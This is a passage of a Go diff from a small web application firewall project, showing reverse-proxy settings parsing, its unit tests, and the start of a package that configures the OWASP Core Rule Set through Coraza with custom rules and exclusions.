// os.LookupEnv. A setting that is not set takes its default, and
|
||||
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
|
||||
// invalid is an error that names it. Since rproxy never touches disk, its
|
||||
// settings have no _FILE form.
|
||||
func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
|
||||
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
||||
cfg := &RProxy{
|
||||
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
|
||||
UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
|
||||
TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
|
||||
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
|
||||
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
|
||||
DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
|
||||
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
|
||||
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
|
||||
MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
|
||||
MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
|
||||
}
|
||||
|
||||
if env.err != nil {
|
||||
return nil, env.err
|
||||
}
|
||||
|
||||
cfg.settings = env.settings
|
||||
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
// RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and
|
||||
// SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other
|
||||
// setting, so it reads no other.
|
||||
func RProxyListenAddrAndUpstreamURL(
|
||||
lookupEnv func(string) (string, bool),
|
||||
) (string, *url.URL, error) {
|
||||
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
||||
listenAddr := env.address("SWRP_LISTEN_ADDR")
|
||||
upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL)
|
||||
|
||||
if env.err != nil {
|
||||
return "", nil, env.err
|
||||
}
|
||||
|
||||
return listenAddr, upstreamURL, nil
|
||||
}
|
||||
|
||||
// withoutFileForms returns lookupEnv finding no setting named with _FILE, since
|
||||
// rproxy never touches disk.
|
||||
func withoutFileForms(
|
||||
lookupEnv func(string) (string, bool),
|
||||
) func(string) (string, bool) {
|
||||
return func(name string) (string, bool) {
|
||||
if strings.HasSuffix(name, "_FILE") {
|
||||
return "", false
|
||||
}
|
||||
|
||||
return lookupEnv(name)
|
||||
}
|
||||
}
|
||||
|
||||
// LogValue makes an RProxy log as each setting's name with the value it was
|
||||
// given, or its default.
|
||||
func (c *RProxy) LogValue() slog.Value {
|
||||
return slog.GroupValue(c.settings...)
|
||||
}
|
||||
|
||||
// wafBackend reads the setting that is discriminator's URL, which must be set.
|
||||
func (e *environment) wafBackend(name string) *url.URL {
|
||||
value := e.value(name, "")
|
||||
if value == "" {
|
||||
e.check(name, errNeedsWAFBackend)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
backend, err := parseUpstreamURL(value)
|
||||
e.check(name, err)
|
||||
|
||||
return backend
|
||||
}
|
||||
|
||||
// disposition reads the setting that is what is done with a request when discriminator
|
||||
// cannot be connected to, does not answer at all, or does not answer in time:
|
||||
// allow or deny.
|
||||
func (e *environment) disposition(name, defaultValue string) string {
|
||||
value := e.value(name, defaultValue)
|
||||
if value != "allow" && value != "deny" {
|
||||
e.check(name, fmt.Errorf("%q %w", value, errNotDisposition))
|
||||
}
|
||||
|
||||
return value
|
||||
}
|
||||
|
||||
// milliseconds reads a setting that is a whole number of milliseconds above
|
||||
// zero.
|
||||
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
||||
value := e.value(name, defaultValue)
|
||||
|
||||
duration, valid := parseMilliseconds(value)
|
||||
if !valid {
|
||||
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
|
||||
}
|
||||
|
||||
return duration
|
||||
}
|
||||
|
||||
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
||||
// above zero, or off, which is 0.
|
||||
func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
|
||||
value := e.value(name, defaultValue)
|
||||
if value == off {
|
||||
return 0
|
||||
}
|
||||
|
||||
duration, valid := parseMilliseconds(value)
|
||||
if !valid {
|
||||
e.check(name, fmt.Errorf("%q %w", value, errNotMillisecondsOrOff))
|
||||
}
|
||||
|
||||
return duration
|
||||
}
|
||||
|
||||
// parseMilliseconds reads a whole number of milliseconds above zero, and
|
||||
// reports whether it is one.
|
||||
func parseMilliseconds(value string) (time.Duration, bool) {
|
||||
n, err := strconv.ParseInt(value, 10, 64)
|
||||
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
|
||||
return 0, false
|
||||
}
|
||||
|
||||
return time.Duration(n) * time.Millisecond, true
|
||||
}
|
||||
@@ -1,231 +0,0 @@
|
||||
package config_test
|
||||
|
||||
import (
|
||||
"net/netip"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
)
|
||||
|
||||
// rproxy's settings, by name, and their values in these tests.
|
||||
const (
|
||||
wafBackend = "SWRP_WAF_BACKEND"
|
||||
rproxyTimeout = "SWRP_TIMEOUT_MS"
|
||||
rproxyDefault = "SWRP_DEFAULT_DISPOSITION"
|
||||
rproxyListen = "SWRP_LISTEN_ADDR"
|
||||
rproxyUpstream = "SWRP_UPSTREAM_URL"
|
||||
rproxyTrusted = "SWRP_TRUSTED_PROXIES"
|
||||
rproxyMaxRequest = "SWRP_MAX_REQUEST_SIZE"
|
||||
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
|
||||
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
|
||||
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
|
||||
backendURL = "http://discriminator:8080"
|
||||
rproxyDefaultAddr = ":8080"
|
||||
rproxyDefaultApp = "http://127.0.0.1:8081"
|
||||
notASize = "a lot"
|
||||
)
|
||||
|
||||
// rproxyConfig reads rproxy's settings from env.
|
||||
func rproxyConfig(env map[string]string) (*config.RProxy, error) {
|
||||
return config.RProxyFromEnvironment(func(name string) (string, bool) {
|
||||
value, ok := env[name]
|
||||
|
||||
return value, ok
|
||||
})
|
||||
}
|
||||
|
||||
func TestRProxyDefaults(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL})
|
||||
if err != nil {
|
||||
t.Fatalf("settings: %v", err)
|
||||
}
|
||||
|
||||
if cfg.ListenAddr != rproxyDefaultAddr ||
|
||||
cfg.UpstreamURL.String() != rproxyDefaultApp ||
|
||||
cfg.WAFBackend.String() != backendURL {
|
||||
t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
|
||||
}
|
||||
|
||||
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
|
||||
t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
|
||||
}
|
||||
|
||||
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
|
||||
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
|
||||
}
|
||||
|
||||
if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
|
||||
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
|
||||
}
|
||||
|
||||
want := []netip.Prefix{
|
||||
netip.MustParsePrefix("10.0.0.0/8"),
|
||||
netip.MustParsePrefix("172.16.0.0/12"),
|
||||
netip.MustParsePrefix("192.168.0.0/16"),
|
||||
}
|
||||
if !slices.Equal(cfg.TrustedProxies, want) {
|
||||
t.Errorf("trusted proxies %v, want %v", cfg.TrustedProxies, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRProxySettingsAreRead(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg, err := rproxyConfig(map[string]string{
|
||||
wafBackend: "https://waf.example:8443",
|
||||
rproxyListen: ":9000",
|
||||
rproxyUpstream: "http://app:3000",
|
||||
rproxyTrusted: "192.0.2.0/24",
|
||||
rproxyTimeout: "150",
|
||||
rproxyDefault: "deny",
|
||||
rproxyMaxRequest: "1K",
|
||||
rproxyMaxResponse: off,
|
||||
rproxyRequestTime: off,
|
||||
rproxyAnswerTime: "250",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("settings: %v", err)
|
||||
}
|
||||
|
||||
if cfg.ListenAddr != ":9000" || cfg.UpstreamURL.Host != "app:3000" ||
|
||||
cfg.WAFBackend.Host != "waf.example:8443" ||
|
||||
cfg.TrustedProxies[0] != netip.MustParsePrefix("192.0.2.0/24") {
|
||||
t.Errorf("addresses %+v", cfg)
|
||||
}
|
||||
|
||||
if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
|
||||
cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
|
||||
cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
|
||||
t.Errorf("limits %+v", cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name, value string
|
||||
}{
|
||||
{wafBackend, ""},
|
||||
{wafBackend, "discriminator:8080"},
|
||||
{wafBackend, "http://discriminator:8080/path"},
|
||||
{rproxyTimeout, "0"},
|
||||
{rproxyTimeout, "-1"},
|
||||
{rproxyTimeout, off},
|
||||
{rproxyTimeout, "2s"},
|
||||
{rproxyTimeout, "1.25"},
|
||||
{rproxyTimeout, "99999999999999999"},
|
||||
{rproxyDefault, "maybe"},
|
||||
{rproxyListen, "8080"},
|
||||
{rproxyUpstream, "app"},
|
||||
{rproxyUpstream, "127.0.0.1:8081"},
|
||||
{rproxyUpstream, "ftp://127.0.0.1:8081"},
|
||||
{rproxyUpstream, "http://"},
|
||||
{rproxyUpstream, "http://:8081"},
|
||||
{rproxyUpstream, "http://127.0.0.1:0"},
|
||||
{rproxyUpstream, "http://127.0.0.1:99999"},
|
||||
{rproxyUpstream, "http://127.0.0.1:8081/app"},
|
||||
{rproxyUpstream, "http://127.0.0.1:8081/?a=1"},
|
||||
{rproxyUpstream, "http://user:secret@127.0.0.1:8081"},
|
||||
{rproxyTrusted, "not a netblock"},
|
||||
{rproxyTrusted, "10.0.0.0/33"},
|
||||
{rproxyTrusted, "10.0.0.0/8,,192.168.0.0/16"},
|
||||
{rproxyTrusted, "fe80::1%eth0"},
|
||||
{rproxyMaxRequest, notASize},
|
||||
{rproxyMaxResponse, notASize},
|
||||
{rproxyRequestTime, "0"},
|
||||
{rproxyRequestTime, "1m"},
|
||||
{rproxyAnswerTime, "0"},
|
||||
} {
|
||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
|
||||
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
|
||||
t.Errorf("error %v, want one naming %s", err, tc.name)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
|
||||
if err != nil {
|
||||
t.Fatalf("settings: %v", err)
|
||||
}
|
||||
|
||||
if len(cfg.TrustedProxies) != 0 {
|
||||
t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRProxyNeedsItsBackend(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := rproxyConfig(nil)
|
||||
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
||||
t.Errorf("error %v, want one saying %s is required", err, wafBackend)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRProxyReadsNoFile(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
path := filepath.Join(t.TempDir(), "backend")
|
||||
|
||||
err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600)
|
||||
if err != nil {
|
||||
t.Fatalf("write: %v", err)
|
||||
}
|
||||
|
||||
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
||||
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
||||
t.Errorf("error %v, want %s still required", err, wafBackend)
|
||||
}
|
||||
|
||||
cfg, err := rproxyConfig(map[string]string{
|
||||
wafBackend: backendURL,
|
||||
rproxyTimeout + "_FILE": "/nonexistent/timeout",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("settings: %v, with the file left unread", err)
|
||||
}
|
||||
|
||||
if cfg.Timeout != 2*time.Second {
|
||||
t.Errorf("timeout %v, want the default", cfg.Timeout)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRProxySettingsAreLoggedByName(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL})
|
||||
if err != nil {
|
||||
t.Fatalf("settings: %v", err)
|
||||
}
|
||||
|
||||
group := cfg.LogValue().Group()
|
||||
|
||||
names := make([]string, 0, len(group))
|
||||
for _, attr := range group {
|
||||
names = append(names, attr.Key)
|
||||
}
|
||||
|
||||
for _, name := range []string{
|
||||
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault,
|
||||
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
|
||||
} {
|
||||
if !slices.Contains(names, name) {
|
||||
t.Errorf("%s is not logged, only %v", name, names)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,483 +0,0 @@
|
||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||
// method, the URL with its query and the headers of a request, and on its
|
||||
// body while SWW_WAF_BODY_LIMIT is set, with the nine changes sww
|
||||
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
||||
// response.
|
||||
//
|
||||
// sww writes only to its state directory, so Coraza is built with
|
||||
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
||||
// file in a multipart body, Coraza then counts the bytes instead of
|
||||
// writing them to the system's temporary directory.
|
||||
package coreruleset
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"os"
|
||||
"regexp"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
|
||||
"github.com/corazawaf/coraza/v3"
|
||||
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
|
||||
"github.com/corazawaf/coraza/v3/types"
|
||||
)
|
||||
|
||||
// directives are the Core Rule Set as sww runs it, with the
|
||||
// paranoia level for %d, bodyDirectives for the first %s while
|
||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
||||
// giteaExclusions for the third and drupalExclusions for the fourth.
|
||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||
// Core Rule Set keeps for the rules that set it up, which
|
||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||
// setting switches one off. Coraza joins a line ending in \ to the next,
|
||||
// without the spaces at the start of the next.
|
||||
const directives = `
|
||||
# The engine only detects. sww compares the request's anomaly
|
||||
# score with SWW_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
|
||||
# alike. It reads no body, unless bodyDirectives switch that on.
|
||||
SecRuleEngine DetectionOnly
|
||||
SecRequestBodyAccess Off
|
||||
SecResponseBodyAccess Off
|
||||
|
||||
Include @crs-setup.conf.example
|
||||
|
||||
SecAction "id:900000,phase:1,pass,nolog,\
|
||||
setvar:tx.blocking_paranoia_level=%d"
|
||||
|
||||
# The first change: PUT, PATCH and DELETE are allowed besides GET, HEAD,
|
||||
# POST and OPTIONS.
|
||||
SecAction "id:900200,phase:1,pass,nolog,\
|
||||
setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'"
|
||||
|
||||
# The second: Expect and Content-Encoding are taken off the Core Rule Set's
|
||||
# list of the headers it refuses. Content-Encoding goes back on it for a
|
||||
# body the Core Rule Set reads (900260 in bodyDirectives).
|
||||
SecAction "id:900250,phase:1,pass,nolog,\
|
||||
setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \
|
||||
/if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \
|
||||
/x-middleware-subrequest/'"
|
||||
%s
|
||||
# Coraza keeps the first 1000 query parameters of a request, and the first
|
||||
# 1000 fields of a form data or JSON body, and drops the rest, which no
|
||||
# rule then reads, so a request with more adds 5 to the score, as a rule
|
||||
# the Core Rule Set rates critical does. Coraza's recommended
|
||||
# configuration refuses such a request in its rules 200004 and 200005.
|
||||
# This rule runs once the body is read, and before the Core Rule Set adds
|
||||
# up the score in the same phase.
|
||||
SecArgumentsLimit 1000
|
||||
SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
||||
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
||||
|
||||
# The exclusions file comes before the rules, where the Core Rule Set puts
|
||||
# its own file of exclusions that run before the rules, so that they run
|
||||
# before the rules of phase 1 too.
|
||||
%s
|
||||
|
||||
# The eighth change comes before the rules for the same reason.
|
||||
%s
|
||||
|
||||
# So does the ninth.
|
||||
%s
|
||||
|
||||
# The sixth: only the rules for requests are loaded, and no response is
|
||||
# inspected.
|
||||
Include @owasp_crs/REQUEST-*.conf
|
||||
|
||||
# The third: redirect_uri is not checked for a URL naming an IP address or
|
||||
# localhost. Coraza matches a parameter name here, and in the fourth,
|
||||
# without regard to case. ARGS holds the fields of a form data or multipart
|
||||
# body Coraza reads as well as the query parameters, so a field of one of
|
||||
# these names is left out too.
|
||||
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
||||
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
||||
|
||||
# The fourth: the query parameters in which gitea sends names within a
|
||||
# repository or its own records, or a page of its own site, are not
|
||||
# checked against the lists of system files, shell paths and command
|
||||
# names. Coraza takes one rule id per directive.
|
||||
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||
!ARGS:artifactName|!ARGS:redirect_to"
|
||||
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||
!ARGS:artifactName|!ARGS:redirect_to"
|
||||
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||
!ARGS:artifactName|!ARGS:redirect_to"
|
||||
|
||||
# The fifth, for Referer: it is not checked for a Unix command without
|
||||
# arguments, for Java starting a process, or for a Java class name. 944130
|
||||
# refused every page opened from the page of java.lang.String.md. The
|
||||
# cookies are left out in Inspect.
|
||||
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
||||
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
||||
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
|
||||
|
||||
# The seventh: a container image push that reuses a layer names the image
|
||||
# it takes the layer from in the query parameter from, which is not
|
||||
# checked for command names. 932260 refused the push of a layer from
|
||||
# owner/python3-app.
|
||||
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
|
||||
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
|
||||
`
|
||||
|
||||
// bodyDirectives have the Core Rule Set read the part of a request body
|
||||
// Inspect gives it, which is at most one byte longer than the limit, up to
|
||||
// the limit, %d bytes, and read JSON and XML as Coraza's recommended
|
||||
// configuration has it in its rules 200000, 200001 and 200006, with
|
||||
// text/json, and any application or text type ending in +xml or +json,
|
||||
// besides; form data and multipart Coraza knows by itself. %% stands for
|
||||
// a % Coraza reads.
|
||||
const bodyDirectives = `
|
||||
SecRequestBodyAccess On
|
||||
SecRequestBodyLimit %d
|
||||
SecRequestBodyLimitAction ProcessPartial
|
||||
|
||||
SecRule REQUEST_HEADERS:Content-Type \
|
||||
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?xml" \
|
||||
"id:900410,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=XML"
|
||||
SecRule REQUEST_HEADERS:Content-Type \
|
||||
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?json" \
|
||||
"id:900420,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=JSON"
|
||||
|
||||
# The rest of the second change: Content-Encoding is refused again on a
|
||||
# body of a kind the Core Rule Set reads, since a compressed body cannot be
|
||||
# inspected.
|
||||
SecRule REQBODY_PROCESSOR "@rx ^(?:URLENCODED|MULTIPART|JSON|XML)$" \
|
||||
"id:900260,phase:1,pass,nolog,\
|
||||
setvar:'tx.restricted_headers_basic=%%{tx.restricted_headers_basic} \
|
||||
/content-encoding/'"
|
||||
|
||||
# A body Coraza fails to parse (900440), and a multipart body that fails
|
||||
# its strict checks (900450), each add 5 to the score, as a rule the Core
|
||||
# Rule Set rates critical does: no rule reads what comes after the fault,
|
||||
# which the app may still read. Coraza's recommended configuration refuses
|
||||
# them in its rules 200002 and 200003. A multipart body the limit cuts
|
||||
# before the colon of a part's header line, or between the carriage return
|
||||
# and the line feed that end a part's header line or the empty line after
|
||||
# its headers, adds 5 too, since Coraza takes the line the limit cuts for a
|
||||
# malformed header. Coraza parses any form data body.
|
||||
SecRule REQBODY_ERROR "!@eq 0" "id:900440,phase:2,pass,severity:'CRITICAL',\
|
||||
setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
||||
SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
|
||||
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
||||
`
|
||||
|
||||
// giteaExclusions are the eighth change: the fields of gitea's own
|
||||
// requests that skip the rules that refused them there, as Coraza
|
||||
// directives.
|
||||
//
|
||||
//go:embed gitea.conf
|
||||
var giteaExclusions string
|
||||
|
||||
// drupalExclusions are the ninth change: the fields of Drupal's own
|
||||
// requests that skip the rules that refused them there, as Coraza
|
||||
// directives.
|
||||
//
|
||||
//go:embed drupal.conf
|
||||
var drupalExclusions string
|
||||
|
||||
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
||||
// without, the rest of the fifth change.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
// ParanoiaLevel is SWW_WAF_PARANOIA_LEVEL, from 1 to 4.
|
||||
ParanoiaLevel int
|
||||
// DisabledRules are the ids of the rules switched off
|
||||
// (SWW_WAF_DISABLED_RULES).
|
||||
DisabledRules []int
|
||||
// BodyLimit is the most of a request body the Core Rule Set reads
|
||||
// (SWW_WAF_BODY_LIMIT), 0 while it is off and it reads none.
|
||||
BodyLimit int64
|
||||
// ExclusionsFile is the path of a file of exclusions loaded before the
|
||||
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||
// there is none.
|
||||
ExclusionsFile string
|
||||
}
|
||||
|
||||
// The ids of sww's own rules, which an exclusions file may not
|
||||
// name.
|
||||
const (
|
||||
firstOwnRuleID = 900000
|
||||
lastOwnRuleID = 900999
|
||||
)
|
||||
|
||||
// numberOrRange matches a number, or a range of numbers such as
|
||||
// 900000-900999. Coraza reads a number with a + before it too, so the
|
||||
// end of a range may have one.
|
||||
var numberOrRange = regexp.MustCompile(`(\d+)(?:-\+?(\d+))?`)
|
||||
|
||||
// errSwwRuleID is the error of an exclusions file that names an
|
||||
// id of sww's own rules.
|
||||
var errSwwRuleID = errors.New("an id of sww's own rules")
|
||||
|
||||
// errChangesNoRule is the error of an exclusions file that holds a
|
||||
// directive that removes or changes rules as it loads, such as
|
||||
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
|
||||
// the directive finds none of them.
|
||||
var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
|
||||
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
|
||||
"with a ctl exclusion")
|
||||
|
||||
// directivesIn returns the directives in text as Coraza reads them: it
|
||||
// skips blank lines and comment lines, and joins a line ending in \ to
|
||||
// the next, without the spaces around either.
|
||||
func directivesIn(text string) []string {
|
||||
var directives []string
|
||||
|
||||
joined := ""
|
||||
|
||||
for line := range strings.Lines(text) {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
if start, found := strings.CutSuffix(line, `\`); found {
|
||||
joined += start
|
||||
|
||||
continue
|
||||
}
|
||||
|
||||
directives = append(directives, joined+line)
|
||||
joined = ""
|
||||
}
|
||||
|
||||
return directives
|
||||
}
|
||||
|
||||
// checkExclusions returns an error if exclusions, the text of an
|
||||
// exclusions file, names an id of sww's own rules, alone or in a
|
||||
// range, or holds a directive whose name starts with SecRuleRemove or
|
||||
// SecRuleUpdate.
|
||||
func checkExclusions(exclusions string) error {
|
||||
for _, directive := range directivesIn(exclusions) {
|
||||
for _, match := range numberOrRange.FindAllStringSubmatch(directive, -1) {
|
||||
first, _ := strconv.Atoi(match[1])
|
||||
|
||||
last := first
|
||||
if match[2] != "" {
|
||||
last, _ = strconv.Atoi(match[2])
|
||||
}
|
||||
|
||||
if first <= lastOwnRuleID && last >= firstOwnRuleID {
|
||||
return fmt.Errorf("the exclusions file names %s: %w", match[0],
|
||||
errSwwRuleID)
|
||||
}
|
||||
}
|
||||
|
||||
// Coraza takes the directive's name up to the first space, without
|
||||
// regard to case.
|
||||
name, _, _ := strings.Cut(directive, " ")
|
||||
if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
|
||||
strings.HasPrefix(lower, "secruleupdate") {
|
||||
return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
|
||||
errChangesNoRule)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
|
||||
// for concurrent use.
|
||||
type CoreRuleSet struct {
|
||||
engine coraza.WAF
|
||||
bodyLimit int64
|
||||
}
|
||||
|
||||
// New returns the Core Rule Set with the nine changes, at params'
|
||||
// paranoia level, without the rules it switches off, reading request
|
||||
// bodies up to params' limit, and with params' exclusions file loaded
|
||||
// before the Core Rule Set's rules. An exclusions file is an error if it
|
||||
// cannot be read or does not parse, or if checkExclusions refuses it.
|
||||
func New(params Params) (*CoreRuleSet, error) {
|
||||
body := ""
|
||||
if params.BodyLimit > 0 {
|
||||
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
|
||||
}
|
||||
|
||||
exclusions := ""
|
||||
|
||||
if params.ExclusionsFile != "" {
|
||||
file, err := os.ReadFile(params.ExclusionsFile)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read the exclusions file: %w", err)
|
||||
}
|
||||
|
||||
exclusions = string(file)
|
||||
|
||||
err = checkExclusions(exclusions)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||
giteaExclusions, drupalExclusions)
|
||||
|
||||
if len(params.DisabledRules) > 0 {
|
||||
ids := make([]string, len(params.DisabledRules))
|
||||
for i, id := range params.DisabledRules {
|
||||
ids[i] = strconv.Itoa(id)
|
||||
}
|
||||
|
||||
text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n"
|
||||
}
|
||||
|
||||
engine, err := coraza.NewWAF(coraza.NewWAFConfig().
|
||||
WithRootFS(coreruleset.FS).
|
||||
WithDirectives(text))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
||||
}
|
||||
|
||||
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
|
||||
}
|
||||
|
||||
// Result is what the Core Rule Set found in a request.
|
||||
type Result struct {
|
||||
// RuleIDs are the ids of the rules that matched, in the order they
|
||||
// ran.
|
||||
RuleIDs []int
|
||||
// Score is the request's anomaly score: what those rules add up to.
|
||||
Score int
|
||||
}
|
||||
|
||||
// Inspect runs the Core Rule Set on r, a request from client: on its
|
||||
// method, its URL with the query, and its headers, the Cookie header
|
||||
// without the cookies in cookiesNotRead, and on body, r's body as the
|
||||
// caller has it, as readBody reads it. It returns what it found, what it
|
||||
// read of body, and the error that ended the reading early, if one did.
|
||||
func (c *CoreRuleSet) Inspect(
|
||||
r *http.Request, client netip.Addr, body io.Reader,
|
||||
) (Result, []byte, error) {
|
||||
